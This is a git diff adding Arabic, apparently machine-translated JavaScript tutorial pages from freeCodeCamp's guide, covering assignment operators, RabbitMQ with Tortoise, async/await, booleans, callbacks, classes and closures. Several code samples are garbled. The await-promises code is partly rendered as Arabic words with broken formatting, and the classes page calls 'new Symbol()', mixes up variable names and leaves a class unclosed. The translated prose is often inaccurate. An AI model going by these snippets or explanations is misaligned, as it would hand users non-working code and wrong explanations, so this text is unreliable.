+لتوضيح ذلك باستخدام القيم الفعلية ، إليك مثالاً آخر على استخدام مشغل تعيين الإضافة:
+
+ `let myVar = 5;   // value of myVar: 5 
+ myVar += 7;   // value of myVar: 12 = 5 + 7 
+` 
+
+## قائمة كاملة لمشغلي المهام في Javascript
+
+المشغل | بناء الجملة نسخة طويلة  
+\------------------------------- | --------- | -------------  
+التنازل | س = ص | س = ص  
+مهمة الجمع | س + = ذ | س = س + ذ  
+مهمة الطرح | س - = ذ | س = س - ص  
+مهمة الضرب | س \* = ذ | س = س \* ص  
+مهمة القسم س / = ذ | س = س / ص  
+مهمة الباقي | x٪ = y | x = x٪ y  
+مهمة الأسي | س \*\* = ذ | س = س \*\* ص  
+مهمة التحول الأيسر | x << = y | x = x << y تعيين نوبة اليمين | x >> = y | x = x >> y  
+تعيين غير مناسب لليمين | x >>> = y | x = x >>> y  
+Bitwise و التعيين | x & = y | x = x & y  
+bitwise XOR assignment | س ^ = ذ | س = س ^ ص  
+bitwise OR assignment | س | = ذ | س = س | ذ
+
+### معلومات اكثر:
+
+[وصلة MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Assignment_Operators#Assignment)
+
+[رابط MSDN](https://docs.microsoft.com/en-us/scripting/javascript/reference/assignment-operator-decrement-equal-javascript)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/async-messaging-with-rabbitmq-tortoise/index.md b/client/src/guide/arabic/javascript/async-messaging-with-rabbitmq-tortoise/index.md
new file mode 100644
index 0000000000..6f350926cf
--- /dev/null
+++ b/client/src/guide/arabic/javascript/async-messaging-with-rabbitmq-tortoise/index.md
@@ -0,0 +1,119 @@
+---
+title: Async messaging with RabbitMQ and Tortoise
+localeTitle: الرسائل غير المتزامنة مع RabbitMQ والسلحفاة
+---
+RabbitMQ يحدث ليكون أسهل وسيط منصات منصة الوسيط رسالة باستخدام بروتوكول AMQ هناك اليوم. ويترجم استخدامه في الهندسة المعمارية الدقيقة إلى مكاسب هائلة في الأداء ، فضلاً عن الوعد بالموثوقية. في هذا الدليل ، سنستكشف أساسيات استخدام RabbitMQ مع Node.js.
+
+## نظرية
+
+في أبسط مستوياتها الأساسية ، سيكون لديك بشكل مثالي خدمتين مختلفتين تتفاعلان مع بعضهما البعض من خلال Rabbit - _ناشر_ _ومشترك_ . عادةً ما ينشر الناشر الرسائل إلى أرنب ، ويستمع أحد المشتركين إلى هذه الرسائل ، وينفذ الرمز على أساس تلك الرسائل. لاحظ أنه يمكن أن يكونا في نفس الوقت - يمكن للخدمة أن تنشر رسائل إلى أرنب وتستهلك الرسائل في نفس الوقت ، مما يجعل الأنظمة القوية بالفعل مصممة.
+
+ينشر الناشر عادةً الرسائل التي تحتوي على _مفتاح توجيه_ إلى شيء يسمى _التبادل_ . يستمع المستهلك إلى _قائمة انتظار_ في نفس التبادل ، منضمة إلى مفتاح التوجيه. من الناحية المعمارية ، سيستخدم النظام الأساسي الخاص بك تبادلًا واحدًا للأرانب ، وستكون أنواع مختلفة من الوظائف / الخدمات لها مفاتيح التوجيه الخاصة بها وقوائم الانتظار ، حتى تعمل ميزة pub-sub بشكل فعال. يمكن أن تكون الرسائل عبارة عن سلاسل؛ يمكن أن تكون أيضًا كائنات محلية - تقوم مكتبات عميل AMQP بالرفع الثقيل لتحويل الكائنات من لغة إلى أخرى. ونعم ، هذا يعني أنه يمكن كتابة الخدمات بلغات مختلفة ، طالما أنهم قادرون على فهم AMQP.
+
+## ابدء
+
+سنقوم بإعداد مثال بسيط للغاية حيث ينشر برنامج ناشر رسالة إلى أرنب تحتوي على عنوان URL ، ويستمع برنامج نصي للمستهلك إلى Rabbit ، ويأخذ عنوان URL المنشور ، ويستدعيه ويعرض النتائج. يمكنك العثور على عينة منتهية على [جيثب](https://github.com/rudimk/freecodecamp-guides-rabbitmq-tortoise) .
+
+أولاً ، دعنا نبدأ مشروع npm:
+
+`$ npm init`
+
+يمكنك دائمًا النقر على " `Enter` بالكامل واستخدام الخيارات الافتراضية - أو يمكنك ملئها. الآن ، دعنا نركب الحزم التي نحتاجها. سنستخدم [السلحفاة](https://www.npmjs.com/package/tortoise) للتفاعل مع RabbitMQ. سنستخدم أيضًا [العقدة-كرون](https://www.npmjs.com/package/node-cron) لجدولة النشر الفعلي للرسائل.
+
+`$ npm install --save tortoise node-cron`
+
+الآن يجب أن تبدو `package.json` تشبه إلى حد كبير هذا:
+
+ `{ 
+  "name": "freecodecamp-guides-rabbitmq-tortoise", 
+  "version": "1.0.0", 
+  "description": "Sample code to accompany the FreeCodeCamp guide on async messaging with RabbitMQ and Tortoise.", 
+  "main": "index.js", 
+  "scripts": { 
+    "test": "echo \"Error: no test specified\" && exit 1" 
+  }, 
+  "repository": { 
+    "type": "git", 
+    "url": "git+https://github.com/rudimk/freecodecamp-guides-rabbitmq-tortoise.git" 
+  }, 
+  "keywords": [ 
+    "rabbitmq", 
+    "tortoise", 
+    "amqp" 
+  ], 
+  "author": "Rudraksh MK", 
+  "license": "MIT", 
+  "bugs": { 
+    "url": "https://github.com/rudimk/freecodecamp-guides-rabbitmq-tortoise/issues" 
+  }, 
+  "homepage": "https://github.com/rudimk/freecodecamp-guides-rabbitmq-tortoise#readme", 
+  "dependencies": { 
+    "node-cron": "^1.2.1", 
+    "tortoise": "^1.0.1" 
+  } 
+ } 
+` 
+
+نحن الآن جاهزون لنقم بإنشاء ناشر أولاً.
+
+ ``const Tortoise = require('tortoise') 
+ const cron = require('node-cron') 
+ 
+ const tortoise = new Tortoise(`amqp://rudimk:YouKnowWhat@$localhost:5672`) 
+`` 
+
+بعد استيراد `tortoise` `node-cron` ، لقد ذهبنا إلى الأمام وأضفت اتصالاً بـ RabbitMQ. بعد ذلك ، دعنا نكتب وظيفة سريعة وقذرة تنشر رسالة إلى أرنب:
+
+ `function scheduleMessage(){ 
+    let payload = {url: 'https://randomuser.me/api'} 
+    tortoise 
+    .exchange('random-user-exchange', 'direct', { durable:false }) 
+    .publish('random-user-key', payload) 
+ } 
+` 
+
+هذا بسيط بما فيه الكفاية. لقد حددنا قاموسًا يحتوي على عنوان URL [لواجهة](https://randomuser.me/) برمجة تطبيقات [RandomUser.me](https://randomuser.me/) ، والتي يتم نشرها بعد ذلك إلى `random-user-exchange` تبادل `random-user-exchange` على RabbitMQ ، مع `random-user-key` التوجيه `random-user-key` . كما ذكرنا من قبل ، فإن مفتاح التوجيه هو الذي يحدد من الذي يستهلك رسالة. الآن ، دعنا نكتب قاعدة جدولة ، لنشر هذه الرسالة كل 60 ثانية.
+
+ `cron.schedule('60 * * * * *', scheduleMessage) 
+` 
+
+وناشرنا جاهز! ولكن في الحقيقة ليس جيدًا بدون المستهلك أن يستهلك هذه الرسائل فعليًا! لكننا نحتاج أولاً إلى مكتبة يمكنها الاتصال بعنوان URL في هذه الرسائل. شخصيا ، أنا استخدم `superagent` : `npm install --save superagent` .
+
+الآن ، في `consumer.js` :
+
+ ``const Tortoise = require('tortoise') 
+ const superagent = require('superagent') 
+ 
+ const tortoise = new Tortoise(`amqp://rudimk:YouKnowWhat@$localhost:5672`) 
+`` 
+
+بعد ذلك ، دعنا نكتب دالة متزامنة تستدعي عنوان URL وتعرض النتيجة:
+
+ `async function getURL(url){ 
+    let response = await superagent.get(url) 
+    return response.body 
+ } 
+` 
+
+وقت كتابة التعليمات البرمجية لاستهلاك الرسائل فعليًا:
+
+ `tortoise 
+ .queue('random-user-queue', { durable: false }) 
+ // Add as many bindings as needed 
+ .exchange('random-user-exchange', 'direct', 'random-user-key', { durable: false }) 
+ .prefetch(1) 
+ .subscribe(function(msg, ack, nack) { 
+  // Handle 
+  let payload = JSON.parse(msg) 
+  getURL(payload['url']).then((response) => { 
+    console.log('Job result: ', response) 
+  }) 
+  ack() // or nack() 
+ }) 
+` 
+
+هنا ، أخبرنا `tortoise` أن نستمع إلى `random-user-queue` ، وهذا يرتبط `random-user-key` `random-user-exchange` . بمجرد استلام الرسالة ، يتم استرداد الحمولة من `msg` ، ويتم تمريرها إلى `getURL` ، والتي بدورها تقوم بإرجاع Promation مع استجابة JSON المطلوبة من RandomUser API.
+
+## استنتاج
+
+البساطة المرتبطة باستخدام RabbitMQ للمراسلة لا مثيل لها ، ومن السهل جدًا الوصول إلى أنماط الخدمة الدقيقة المعقدة بالفعل ، مع بضعة أسطر من الشفرات فقط. أفضل جزء هو أن المنطق وراء الرسائل لا يتغير حقاً عبر اللغات - تعمل Crystal أو Go أو Python أو Ruby مع Rabbit بنفس الطريقة تقريبًا - وهذا يعني أنه يمكن أن يكون لديك خدمات مكتوبة بلغات مختلفة تتواصل جميعها مع بعضها البعض دون بذل أي جهد ، مما يتيح لك استخدام أفضل لغة لهذا المنصب.
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/await-promises/index.md b/client/src/guide/arabic/javascript/await-promises/index.md
new file mode 100644
index 0000000000..178b49a041
--- /dev/null
+++ b/client/src/guide/arabic/javascript/await-promises/index.md
@@ -0,0 +1,92 @@
+---
+title: Await Promises
+localeTitle: في انتظار الوعود
+---
+## في انتظار الوعود
+
+يجعل [مشغلي](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators) `async` / `await` من السهل تنفيذ العديد من وعود async. كما أنها تسمح للمهندسين بكتابة أكواد أكثر وضوحًا وإيجازًا وقابلة للاختبار.
+
+لفهم هذا الموضوع ، يجب أن يكون لديك فهم قوي لكيفية عمل [الوعود](https://guide.freecodecamp.org/javascript/promises) .
+
+* * *
+
+## بناء الجملة الأساسي
+
+\`\` \`جافا سكريبت function slowResolvedPromiseFunc (string) { return new Promise (resol = = { setTimeout (() => { حل (سلسلة)؛ } ، 5000) ؛ })؛ }
+
+وظيفة async doIt () { const myPromise = await slowResolvedPromiseFunc ("foo")؛ console.log (myPromise)؛ // "foo" }
+
+افعلها()؛
+
+ ``There are a few things to note: 
+ 
+ * The function that encompasses the `await` declaration must include the `async` operator. This will tell the JS interpreter that it must wait until the Promise is resolved or rejected. 
+ * The `await` operator must be inline, during the const declaration. 
+ * This works for `reject` as well as `resolve`. 
+ 
+ --- 
+ 
+ ## Nested Promises vs. `Async` / `Await` 
+ 
+ Implementing a single Promise is pretty straightforward. In contrast, Chained Promises or the creation of a dependency pattern may produce "spaghetti code". 
+ 
+ The following examples assume that the <a href='https://github.com/request/request-promise' target='_blank' rel='nofollow'>`request-promise`</a> library is available as `rp`. 
+ 
+ ### Chained/Nested Promises 
+`` 
+
+جافا سكريبت // الوعد الأول const fooPromise = rp ("http://domain.com/foo")؛
+
+fooPromise.then (resultFoo => { // يجب انتظار "foo" لحلها console.log (resultFoo)؛
+
+ `const barPromise = rp("http://domain.com/bar"); 
+ const bazPromise = rp("http://domain.com/baz"); 
+ 
+ return Promise.all([barPromise, bazPromise]); 
+` 
+
+}). then (resultArr => { // تعامل مع "bar" و "baz" هنا console.log (resultArr \[0\])؛ console.log (resultArr \[1\])؛ })؛
+
+ ``### `async` and `await` Promises 
+`` 
+
+جافا سكريبت // لف كل شيء في وظيفة متزامن وظيفة async doItAll () { // انتزاع البيانات من نقطة النهاية "فو" ، ولكن انتظر الحل console.log (في انتظار rp ("http://domain.com/foo"))؛
+
+ `// Concurrently kick off the next two async calls, 
+ // don't wait for "bar" to kick off "baz" 
+ const barPromise = rp("http://domain.com/bar"); 
+ const bazPromise = rp("http://domain.com/baz"); 
+ 
+ // After both are concurrently kicked off, wait for both 
+ const barResponse = await barPromise; 
+ const bazResponse = await bazPromise; 
+ 
+ console.log(barResponse); 
+ console.log(bazResponse); 
+` 
+
+}
+
+// وأخيرا ، استدعاء الدالة المتزامن doItAll (). ثم (() => console.log ('Done!'))؛
+
+ ``The advantages of using `async` and `await` should be clear. This code is more readable, modular, and testable. 
+ 
+ It's fair to note that even though there is an added sense of concurrency, the underlying computational process is the same as the previous example. 
+ 
+ --- 
+ 
+ ## Handling Errors / Rejection 
+ 
+ A basic try-catch block handles a rejected Promise. 
+`` 
+
+جافا سكريبت خطأ غير متزامن functionExample () { محاولة { const rejectedPromise = await Promise.reject ("Oh-oh!")؛ } catch (خطأ) { console.log (خطأ)؛ // "اه-اوه!" } }
+
+errorExample ()؛ \`\` \`
+
+* * *
+
+#### معلومات اكثر:
+
+*   `await` مشغل [MDN مستندات](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/await)
+*   `async` Function Operator [MDN Docs](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/async_function)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/booleans/index.md b/client/src/guide/arabic/javascript/booleans/index.md
new file mode 100644
index 0000000000..4e817ec26d
--- /dev/null
+++ b/client/src/guide/arabic/javascript/booleans/index.md
@@ -0,0 +1,96 @@
+---
+title: Boolean
+localeTitle: منطقية
+---
+## منطقية
+
+Booleans هي نوع بيانات بدائي شائع الاستخدام في لغات برمجة الكمبيوتر. بحكم التعريف ، يحتوي المنطقي على قيمتين محتملتين: `true` أو `false` .
+
+في Javascript ، غالبًا ما يكون هناك نوع الإكراه الضمني للقيمة المنطقية. إذا كان لديك مثلاً عبارة if تتحقق من تعبير معين ، فسيتم فرض هذا التعبير على قيمة منطقية:
+
+ `var a = 'a string'; 
+ if (a) { 
+  console.log(a); // logs 'a string' 
+ } 
+` 
+
+هناك بعض القيم القليلة التي سيتم فرضها على false:
+
+*   كاذبة (غير مجبرة حقًا لأنها خاطئة بالفعل)
+*   لا شيء
+*   غير محدد
+*   نان
+*   0
+*   '' (سلسلة فارغة)
+
+سيتم فرض جميع القيم الأخرى إلى true. عندما تُكرَه القيمة إلى قيمة منطقية ، فإننا نطلق عليها أيضًا إما "كاذبة" أو "صادقة".
+
+إحدى الطرق التي يتم بها استخدام نوع الإكراه هي استخدام مشغلي (أو `||` ) و ( `&&` ):
+
+ `var a = 'word'; 
+ var b = false; 
+ var c = true; 
+ var d = 0 
+ var e = 1 
+ var f = 2 
+ var g = null 
+ 
+ console.log(a || b); // 'word' 
+ console.log(c || a); // true 
+ console.log(b || a); // 'word' 
+ console.log(e || f); // 1 
+ console.log(f || e); // 2 
+ console.log(d || g); // null 
+ console.log(g || d); // 0 
+ console.log(a && c); // true 
+ console.log(c && a); // 'word' 
+` 
+
+كما ترى ، يفحص المشغل _أو_ العامل الأول. إذا كان هذا صحيحًا أو صريحًا ، فسيتم إرجاعه على الفور (وهذا هو سبب حصولنا على كلمة في الحالة الأولى وصحيح في الحالة الثانية). إذا لم يكن صحيحا أو صائبا ، فإنه يعيد المعامل الثاني (وهذا هو السبب في أننا نحصل على كلمة في الحالة الثالثة).
+
+مع المشغل ويعمل بطريقة مماثلة ، ولكن "و" ليكون صحيحا ، يجب أن يكون كلا المعاملين صائبين. لذلك ، ستعود دائمًا إلى المعامل الثاني إذا كان كلاهما صحيحًا / صريحًا ، وإلا فسيظهر خطأ. وهذا هو السبب في أننا في الحالة الرابعة أصبحنا صادقين وفي الحالة الأخيرة حصلنا على "كلمة".
+
+## الكائن المنطقي
+
+يوجد أيضًا كائن JavaScript أصلي يلتف حول قيمة. القيمة التي تم تمريرها عند تحويل المعلمة الأولى إلى قيمة منطقية ، إذا لزم الأمر. إذا تم حذف القيمة ، 0 ، أو 0 ، أو خالية ، أو false ، أو NaN ، أو undefined ، أو السلسلة الفارغة ("") ، فإن الكائن له قيمة أولية خاطئة. جميع القيم الأخرى ، بما في ذلك أي كائن أو السلسلة "false" ، تقوم بإنشاء كائن بقيمة أولية صحيحة.
+
+لا تخلط بين القيم المنطقية البدائية الصواب والخطأ مع القيم الحقيقية والخطئة للكائن المنطقي.
+
+## المزيد من التفاصيل
+
+يتم تقييم أي كائن لا تكون قيمته غير محددة أو خالية ، بما في ذلك كائن منطقي قيمته غير صحيح ، إلى true عند تمريره إلى بيان شرطي. إذا كان هذا صحيحًا ، فسيؤدي هذا إلى تنفيذ الوظيفة. على سبيل المثال ، يتم تقييم الشرط الموجود في العبارة if في الحالة التالية:
+
+ `var x = new Boolean(false); 
+ if (x) { 
+  // this code is executed 
+ } 
+` 
+
+لا ينطبق هذا السلوك على الأوليات البولية. على سبيل المثال ، يتم تقييم الشرط الموجود في العبارة if في حالة الخطأ:
+
+ `var x = false; 
+ if (x) { 
+  // this code is not executed 
+ } 
+` 
+
+لا تستخدم كائنًا منطقيًا لتحويل قيمة غير منطقية إلى قيمة منطقية. بدلاً من ذلك ، استخدم Boolean كدالة لتنفيذ هذه المهمة:
+
+ `var x = Boolean(expression);     // preferred 
+ var x = new Boolean(expression); // don't use 
+` 
+
+إذا قمت بتحديد أي كائن ، بما في ذلك كائن منطقي قيمته غير كاذبة ، كالقيمة الأولية لكائن Boolean ، فإن الكائن المنطقي الجديد يحتوي على قيمة true.
+
+ `var myFalse = new Boolean(false);   // initial value of false 
+ var g = new Boolean(myFalse);       // initial value of true 
+ var myString = new String('Hello'); // string object 
+ var s = new Boolean(myString);      // initial value of true 
+` 
+
+لا تستخدم كائن منطقي بدلاً من بدائي منطقي.
+
+### مصادر
+
+*   [كائن بولياني](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Boolean)
+*   [كائن بولياني](https://docs.oracle.com/javase/7/docs/api/java/lang/Boolean.html)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/callback-functions/index.md b/client/src/guide/arabic/javascript/callback-functions/index.md
new file mode 100644
index 0000000000..78a5bf204c
--- /dev/null
+++ b/client/src/guide/arabic/javascript/callback-functions/index.md
@@ -0,0 +1,76 @@
+---
+title: Callback Functions
+localeTitle: وظائف رد الاتصال
+---
+تقدم هذه المقالة مقدمة موجزة لمفهوم واستخدام وظائف معاودة الاتصال في لغة برمجة Javascript.
+
+## وظائف هي كائنات
+
+أول شيء نحتاج إلى معرفته هو أن الوظائف في Javascript هي كائنات من الدرجة الأولى. على هذا النحو ، يمكننا العمل معهم بنفس الطريقة التي نعمل بها مع الأشياء الأخرى ، مثل تعيينهم للمتغيرات وتمريرها كحجج إلى وظائف أخرى. هذا أمر مهم ، لأنه الأسلوب الأخير الذي يسمح لنا بتوسيع الوظائف في تطبيقاتنا.
+
+## وظائف رد الاتصال
+
+**وظيفة رد الاتصال** هي دالة يتم تمريرها _كوسيطة_ لوظيفة أخرى ، ليتم استدعاؤها مرة أخرى في وقت لاحق. تدعى الدالة التي تقبل وظائف أخرى كوسيطة دالة **أعلى من الترتيب** ، والتي تحتوي على منطق _عندما_ يتم تنفيذ وظيفة رد الاتصال. إنه مزيج من هذين اللذين يسمح لنا بتوسيع وظائفنا.
+
+لتوضيح معاودة الاتصال ، دعنا نبدأ بمثال بسيط:
+
+ `function createQuote(quote, callback){ 
+  var myQuote = "Like I always say, " + quote; 
+  callback(myQuote); // 2 
+ } 
+ 
+ function logQuote(quote){ 
+  console.log(quote); 
+ } 
+ 
+ createQuote("eat your vegetables!", logQuote); // 1 
+ 
+ // Result in console: 
+ // Like I always say, eat your vegetables! 
+` 
+
+في المثال أعلاه ، يعد `createQuote` هو دالة الترتيب الأعلى ، والتي تقبل الوسيطتين ، والثانية هي معاودة الاتصال. يتم استخدام وظيفة `logQuote` لتمرير في وظيفة رد الاتصال الخاصة بنا. عندما نقوم بتنفيذ وظيفة `createQuote` _(1)_ ، نلاحظ أننا _لا_ `logQuote` أقواس `logQuote` عندما `logQuote` كوسيطة. هذا لأننا لا نريد تنفيذ وظيفة معاودة الاتصال الخاصة بنا على الفور ، فنحن نريد ببساطة تمرير تعريف الدالة إلى الوظيفة ذات الترتيب الأعلى بحيث يمكن تنفيذه لاحقًا.
+
+أيضا ، نحن بحاجة إلى التأكد من أنه إذا كانت وظيفة رد الاتصال التي نمررها تتوقع وجود وسيطات ، فإننا نورد هذه الوسيطات عند تنفيذ معاودة الاتصال _(2)_ . في المثال أعلاه ، من شأنه أن يكون `callback(myQuote);` البيان ، لأننا نعلم أن `logQuote` يتوقع أن يتم تمرير عرض السعر.
+
+بالإضافة إلى ذلك ، يمكن أن نمر في وظائف مجهولة مثل الاستدعاءات. سيكون للنداء أدناه إلى `createQuote` نفس النتيجة كما في المثال أعلاه:
+
+ `createQuote("eat your vegetables!", function(quote){ 
+  console.log(quote); 
+ }); 
+` 
+
+بالمناسبة ، لا _تحتاج_ إلى استخدام الكلمة "callback" كاسم لوسيطة الخاص بك ، تحتاج Javascript فقط إلى معرفة أنه اسم الوسيطة الصحيح. استناداً إلى المثال أعلاه ، ستتصرف الدالة أدناه بنفس الطريقة بالضبط.
+
+ `function createQuote(quote, functionToCall) { 
+  var myQuote = "Like I always say, " + quote; 
+  functionToCall(myQuote); 
+ } 
+` 
+
+## لماذا استخدام Callbacks؟
+
+معظم الوقت نقوم بإنشاء البرامج والتطبيقات التي تعمل بطريقة **متزامنة** . بعبارة أخرى ، تبدأ بعض عملياتنا فقط بعد أن تكتمل العمليات السابقة. في كثير من الأحيان عندما نطلب بيانات من مصادر أخرى ، مثل واجهة برمجة تطبيقات خارجية ، لا نعرف دائمًا _متى_ سيتم عرض بياناتنا مرة أخرى. في هذه الحالات ، نريد أن ننتظر الرد ، لكننا لا نريد دائمًا أن يتم إيقاف التطبيق بالكامل بينما يتم جلب بياناتنا. هذه الحالات هي حيث وظائف رد الاتصال تأتي في متناول اليدين.
+
+دعونا نلقي نظرة على مثال يحاكي طلب إلى الخادم:
+
+ `function serverRequest(query, callback){ 
+  setTimeout(function(){ 
+    var response = query + "full!"; 
+    callback(response); 
+  },5000); 
+ } 
+ 
+ function getResults(results){ 
+  console.log("Response from the server: " + results); 
+ } 
+ 
+ serverRequest("The glass is half ", getResults); 
+ 
+ // Result in console after 5 second delay: 
+ // Response from the server: The glass is half full! 
+` 
+
+في المثال أعلاه ، نجري طلبًا زائفًا على الخادم. بعد مرور 5 ثوانٍ يتم تعديل الاستجابة ثم يتم تنفيذ `getResults` وظيفة رد الاتصال الخاصة بنا. للاطلاع على هذا الإجراء ، يمكنك نسخ / لصق الشفرة الواردة أعلاه في أداة مطور المتصفح وتنفيذها.
+
+أيضًا ، إذا كنت معتادًا على `setTimeout` ، فإنك تستخدم وظائف رد الاتصال طوال الوقت. تعتبر وسيطة الدالة المجهولة التي تم تمريرها إلى استدعاء الدالة `setTimeout` المذكورة أعلاه بمثابة استدعاء أيضًا! لذلك يتم تنفيذ رد الاتصال الأصلي للمثال بواسطة رد اتصال آخر. احرص على عدم وضع عدد كبير من عمليات الاسترجاعات إذا كان بإمكانك مساعدتك ، لأن ذلك يمكن أن يؤدي إلى شيء يسمى "callback hell"! كما يوحي الاسم ، فإنه ليس من الفرح التعامل معه.
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/classes/index.md b/client/src/guide/arabic/javascript/classes/index.md
new file mode 100644
index 0000000000..718ffa0847
--- /dev/null
+++ b/client/src/guide/arabic/javascript/classes/index.md
@@ -0,0 +1,168 @@
+---
+title: Classes
+localeTitle: الطبقات
+---
+## الطبقات
+
+جافا سكريبت لا تملك مفهوم الطبقات بطبيعتها.
+
+ولكن يمكننا محاكاة وظائف الطبقة عن طريق الاستفادة من الطبيعة النموذجية لجافا سكريبت.
+
+تفترض هذه المقالة أن لديك فهم أساسي [للنماذج الأولية](/src/pages/javascript/prototypes/index.md) .
+
+من أجل الوضوح ، دعونا نفترض أننا نريد إنشاء فصل يمكنه القيام بما يلي
+
+ `var p = new Person('James','Bond'); // create a new instance of Person class 
+    p.log() // Output: 'I am James Bond' // Accessing a function in the class 
+    // Using setters and getters 
+    p.profession = 'spy' 
+    p.profession // output: James bond is a spy 
+` 
+
+### استخدام الكلمة الرئيسية للفئة
+
+كما هو الحال في أي لغة برمجة أخرى ، يمكنك الآن استخدام الكلمة الأساسية `class` لإنشاء فصل دراسي.
+
+هذا غير مدعوم في المتصفحات القديمة وتم تقديمه في ECMAScript 2015.
+
+ `class Person { 
+    constructor(firstName, lastName) { 
+        this._firstName = firstName; 
+        this._lastName = lastName; 
+    } 
+ 
+    log() { 
+        console.log('I am', this._firstName, this._lastName); 
+    } 
+ 
+    // setters 
+    set profession(val) { 
+        this._profession = val; 
+    } 
+    // getters 
+    get profession() { 
+        console.log(this._firstName, this._lastName, 'is a', this._profession); 
+    } 
+ 
+ } 
+` 
+
+  
+  
+
+`class` هي مجرد السكر النحوي على نموذج الوراثة القائم على النموذج الأولي لجافا سكريبت.
+
+بشكل عام ، يستخدم المبرمجون الطرق التالية لإنشاء فصل دراسي في JavaScript.
+
+### استخدام أساليب مضافة إلى النماذج الأولية:
+
+هنا ، تتم إضافة جميع الأساليب إلى النموذج الأولي
+
+ `function Person(firstName, lastName) { 
+    this._firstName = firstName; 
+    this._lastName = lastName; 
+ } 
+ 
+ Person.prototype.log = function() { 
+    console.log('I am', this._firstName, this._lastName); 
+ } 
+ 
+ // This line adds getters and setters for the profession object. Note that in general you could just write your own get and set functions like the 'log' method above. 
+ // Since in this example we are trying the mimic the class above, we try to use the getters and setters property provided by JavaScript 
+ Object.defineProperty(Person.prototype, 'profession', { 
+    set: function(val) { 
+        this._profession = val; 
+    }, 
+    get: function() { 
+        console.log(this._firstName, this._lastName, 'is a', this._profession); 
+    } 
+ }) 
+` 
+
+يمكنك أيضا كتابة أساليب النموذج الأولي على وظيفة `Person` النحو التالي
+
+ `Person.prototype = { 
+    log: function() { 
+        console.log('I am ', this._firstName, this._lastName); 
+    } 
+    set profession(val) { 
+        this._profession = val; 
+    } 
+ 
+    get profession() { 
+        console.log(this._firstName, this._lastName, 'is a', this._profession); 
+    } 
+ 
+ } 
+` 
+
+### استخدام أساليب مضافة داخليا
+
+هنا تضاف الأساليب داخليا بدلا من النموذج الأولي
+
+ `function Person(firstName, lastName) { 
+    this._firstName = firstName; 
+    this._lastName = lastName; 
+ 
+    this.log = function() { 
+        console.log('I am ', this._firstName, this._lastName); 
+    } 
+ 
+    Object.defineProperty(this, 'profession', { 
+        set: function(val) { 
+            this._profession = val; 
+        }, 
+        get: function() { 
+            console.log(this._firstName, this._lastName, 'is a', this._profession); 
+        } 
+    }) 
+ } 
+` 
+
+### إخفاء التفاصيل في فصول بالرموز
+
+في أغلب الأحيان يجب إخفاء بعض الخصائص والأساليب لمنع الوصول من خارج الوظيفة. مع الفئات ، للحصول على هذه الوظيفة ، إحدى الطرق للقيام بذلك باستخدام الرموز. Symbol هو نوع جديد من جافا سكريبت المدمج ، والذي يمكن استدعاؤه لإعطاء قيمة رمزية جديدة. كل رمز فريد ويمكن استخدامه كمفتاح على الكائن. لذا ، فإن إحدى حالات استخدام الرموز هي أنه يمكنك إضافة شيء إلى كائن قد لا تمتلكه ، وقد لا ترغب في التصادم مع أي مفاتيح أخرى للعنصر ، لذلك ، فإن إنشاء كائن جديد وإضافة خاصية على هذا الكائن باستخدام الرمز هو الأكثر أمانًا . أيضا ، عندما يتم إضافة قيمة الرمز إلى كائن ؛ لا أحد آخر يعرف كيفية الحصول عليه.
+
+ `class Person { 
+    constructor(firstName, lastName) { 
+        this._firstName = firstName; 
+        this._lastName = lastName; 
+    } 
+ 
+    log() { 
+        console.log('I am', this._firstName, this._lastName); 
+    } 
+ 
+    // setters 
+    set profession(val) { 
+        this._profession = val; 
+    } 
+    // getters 
+    get profession() { 
+        console.log(this._firstName, this._lastName, 'is a', this._profession); 
+    } 
+ // With the above code, even though we can access the properties outside the function to change their content what if we don't want that. 
+ // Symbols come to rescue. 
+ let s_firstname  = new Symbol(); 
+ 
+ class Person { 
+    constructor(firstName, lastName) { 
+        this[s_firstName] = firstName; 
+        this._lastName = lastName; 
+    } 
+ 
+    log() { 
+        console.log('I am', this._firstName, this._lastName); 
+    } 
+ 
+    // setters 
+    set profession(val) { 
+        this._profession = val; 
+    } 
+    // getters 
+    get profession() { 
+        console.log(this[s_firstName], this._lastName, 'is a', this._profession); 
+    } 
+` 
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/closures/index.md b/client/src/guide/arabic/javascript/closures/index.md
new file mode 100644
index 0000000000..38736fa7e3
--- /dev/null
+++ b/client/src/guide/arabic/javascript/closures/index.md
@@ -0,0 +1,170 @@
+---
+title: Closures
+localeTitle: إغلاق
+---
+# إغلاق
+
+الإغلاق هو الجمع بين الوظيفة والبيئة المعجمية (النطاق) التي تم الإعلان عن هذه الوظيفة ضمنها. عمليات الإغلاق هي خاصية أساسية وقوية لجافا سكريبت. تتناول هذه المقالة "كيف" و "لماذا" حول الإغلاق:
+
+### مثال
+
+ `//we have an outer function named walk and an inner function named fly 
+ 
+ function walk (){ 
+ 
+  var dist = '1780 feet'; 
+ 
+  function fly(){ 
+    console.log('At '+dist); 
+  } 
+ 
+  return fly; 
+ } 
+ 
+ var flyFunc = walk(); //calling walk returns the fly function which is being assigned to flyFunc 
+ //you would expect that once the walk function above is run 
+ //you would think that JavaScript has gotten rid of the 'dist' var 
+ 
+ flyFunc(); //Logs out 'At 1780 feet' 
+ //but you still can use the function as above 
+ //this is the power of closures 
+` 
+
+### مثال آخر
+
+ `function by(propName) { 
+    return function(a, b) { 
+        return a[propName] - b[propName]; 
+    } 
+ } 
+ 
+ const person1 = {name: 'joe', height: 72}; 
+ const person2 = {name: 'rob', height: 70}; 
+ const person3 = {name: 'nicholas', height: 66}; 
+ 
+ const arr_ = [person1, person2, person3]; 
+ 
+ const arr_sorted = arr_.sort(by('height')); // [ { name: 'nicholas', height: 66 }, { name: 'rob', height: 70 },{ name: 'joe', height: 72 } ] 
+` 
+
+إغلاق "يتذكر" البيئة التي تم إنشاؤه فيها. تتكون هذه البيئة من أي متغيرات محلية كانت ضمن النطاق في الوقت الذي تم فيه إنشاء الإغلاق.
+
+ `function outside(num) { 
+  var rememberedVar = num; // In this example, rememberedVar is the lexical environment that the closure 'remembers' 
